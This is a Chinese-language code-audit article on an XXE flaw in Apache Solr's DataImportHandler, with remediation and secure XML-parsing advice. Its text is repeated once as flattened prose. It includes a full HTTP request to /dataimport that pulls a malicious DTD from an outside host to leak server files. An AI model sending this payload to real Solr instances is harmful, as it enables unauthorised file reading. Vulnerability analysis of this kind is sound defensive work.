代码审计系列之Apache-solr框架
字数 1315 2025-08-24 07:48:33

Apache Solr框架代码审计与漏洞分析

一、Apache Solr框架简介

Apache Solr是一个开源的搜索服务器,基于Java语言开发,主要构建在HTTP和Apache Lucene之上。它是一个独立的企业级搜索应用服务器,被广泛应用于各种企业环境中。

核心特点:

  • 基于HTTP/XML的文档索引和搜索
  • 使用Java开发
  • 构建于Apache Lucene之上
  • 提供RESTful API接口

二、漏洞背景

在审计某厂商系统时发现Solr框架被广泛使用,存在多个安全风险点,特别是XXE(XML External Entity)漏洞。

三、漏洞分析:全版本目录列表/文件读取

1. 漏洞根源分析

1.1 web.xml配置分析

默认配置中关键部分:

<filter-mapping>
  <filter-name>SolrRequestFilter</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>

1.2 SolrDispatchFilter类分析

关键调用链:

  1. doFilter方法调用this.handleAdminRequest(req, response, handler2, solrReq)
  2. 跟进RequestHandlerBase
  3. 重点关注DataImportHandler.class实现

2. XXE漏洞详细分析

2.1 漏洞位置

DataImportHandler类中,this.importer.runCmd方法会调用loadDataConfig进行XML解析。

2.2 漏洞原因

loadDataConfig方法使用DocumentBuilder解析XML时,未禁用外部实体,导致XXE漏洞。

2.3 协议测试

  1. gopher协议:不支持
  2. http协议:支持但会因特殊字符抛出异常
  3. ftp协议:成功利用

3. 漏洞利用过程

3.1 漏洞利用条件

  • 访问/dataimport端点
  • 能够发送特制XML请求

3.2 利用Payload示例

POST /test1/dataimport HTTP/1.1
Host: localhost:8080
Content-Length: 281
Content-Type: application/x-www-form-urlencoded
Connection: close

command=full-import&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fxxe.boomeye.com%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E

3.3 利用步骤

  1. 构造包含外部实体引用的XML
  2. 通过FTP服务提供恶意DTD
  3. 发送特制请求到/dataimport端点
  4. 服务器解析XML时加载外部实体,导致信息泄露

四、漏洞修复建议

1. 临时解决方案

  • 为每个Solr实例添加授权机制
  • 使用WAF拦截恶意请求

2. 根本解决方案

  • 在XML解析时禁用外部实体
  • 更新到官方修复版本

五、安全编码建议

  1. XML解析安全
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  1. 输入验证
  • 对用户提供的XML数据进行严格验证
  • 过滤特殊字符和实体引用
  1. 访问控制
  • 限制/dataimport等敏感端点的访问
  • 实施基于角色的访问控制

六、总结

Apache Solr框架由于在XML解析时未禁用外部实体,导致存在XXE漏洞,攻击者可利用此漏洞读取服务器上的任意文件。开发人员应重视XML解析安全,及时应用安全补丁,并实施严格的访问控制措施。

附录:参考链接

  1. Apache Solr官方网站:https://lucene.apache.org/solr/
  2. XXE漏洞防护指南:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
Apache Solr框架代码审计与漏洞分析 一、Apache Solr框架简介 Apache Solr是一个开源的搜索服务器,基于Java语言开发,主要构建在HTTP和Apache Lucene之上。它是一个独立的企业级搜索应用服务器,被广泛应用于各种企业环境中。 核心特点: 基于HTTP/XML的文档索引和搜索 使用Java开发 构建于Apache Lucene之上 提供RESTful API接口 二、漏洞背景 在审计某厂商系统时发现Solr框架被广泛使用,存在多个安全风险点,特别是XXE(XML External Entity)漏洞。 三、漏洞分析:全版本目录列表/文件读取 1. 漏洞根源分析 1.1 web.xml配置分析 默认配置中关键部分: 1.2 SolrDispatchFilter类分析 关键调用链: doFilter 方法调用 this.handleAdminRequest(req, response, handler2, solrReq) 跟进 RequestHandlerBase 重点关注 DataImportHandler.class 实现 2. XXE漏洞详细分析 2.1 漏洞位置 在 DataImportHandler 类中, this.importer.runCmd 方法会调用 loadDataConfig 进行XML解析。 2.2 漏洞原因 loadDataConfig 方法使用 DocumentBuilder 解析XML时,未禁用外部实体,导致XXE漏洞。 2.3 协议测试 gopher协议 :不支持 http协议 :支持但会因特殊字符抛出异常 ftp协议 :成功利用 3. 漏洞利用过程 3.1 漏洞利用条件 访问 /dataimport 端点 能够发送特制XML请求 3.2 利用Payload示例 3.3 利用步骤 构造包含外部实体引用的XML 通过FTP服务提供恶意DTD 发送特制请求到 /dataimport 端点 服务器解析XML时加载外部实体,导致信息泄露 四、漏洞修复建议 1. 临时解决方案 为每个Solr实例添加授权机制 使用WAF拦截恶意请求 2. 根本解决方案 在XML解析时禁用外部实体 更新到官方修复版本 五、安全编码建议 XML解析安全 : 输入验证 : 对用户提供的XML数据进行严格验证 过滤特殊字符和实体引用 访问控制 : 限制 /dataimport 等敏感端点的访问 实施基于角色的访问控制 六、总结 Apache Solr框架由于在XML解析时未禁用外部实体,导致存在XXE漏洞,攻击者可利用此漏洞读取服务器上的任意文件。开发人员应重视XML解析安全,及时应用安全补丁,并实施严格的访问控制措施。 附录:参考链接 Apache Solr官方网站:https://lucene.apache.org/solr/ XXE漏洞防护指南:https://cheatsheetseries.owasp.org/cheatsheets/XML_ External_ Entity_ Prevention_ Cheat_ Sheet.html